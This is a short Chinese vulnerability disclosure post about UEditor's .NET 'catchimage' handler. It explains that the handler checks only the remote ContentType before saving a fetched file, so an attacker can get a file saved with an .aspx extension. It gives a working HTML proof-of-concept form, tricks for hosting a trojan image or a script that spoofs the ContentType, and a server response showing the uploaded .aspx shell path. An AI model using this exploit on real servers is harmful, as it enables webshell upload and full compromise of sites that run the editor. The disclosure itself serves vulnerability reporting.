索马里的乌贼 • 2018-08-23 22:06:29

发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版

Crawler方法对source[]的检查仅仅是一个ContentType

if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

并没有检查文件扩展名就直接保存到本地 导致getshell

POC:

<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p>
  <input type="submit" value="Submit" />
</form>

shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx)
也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType

返回如下

{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}